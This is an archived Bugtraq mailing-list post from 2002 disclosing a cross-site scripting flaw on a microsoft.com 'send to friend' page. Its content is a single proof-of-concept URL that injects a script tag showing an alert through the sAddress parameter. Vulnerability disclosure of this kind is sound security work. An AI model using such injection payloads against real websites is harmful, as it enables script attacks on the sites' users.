[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Cross Site Scripting in microsoft.com

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Cross Site Scripting in microsoft.com
From: frog frog <leseulfrog@xxxxxxxxxxx>
Date: 6 Jan 2002 16:28:54 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm


The hole is here :

http://www.microsoft.com/freedomtoinnovate/inc/send
friend.asp?sAddress="><script>alert('Microsoft%
20hole')</script>

frog

Prev by Date: Inproper input validation in Bugzilla <=2.14 - exploit
Next by Date: AOLserver 3.4.2 Unauthorized File Disclosure Vulnerability
Previous by thread: Re: Inproper input validation in Bugzilla <=2.14 - exploit
Next by thread: AOLserver 3.4.2 Unauthorized File Disclosure Vulnerability
Index(es):
- Date
- Thread

This mailing list archive is a service of Copilotco.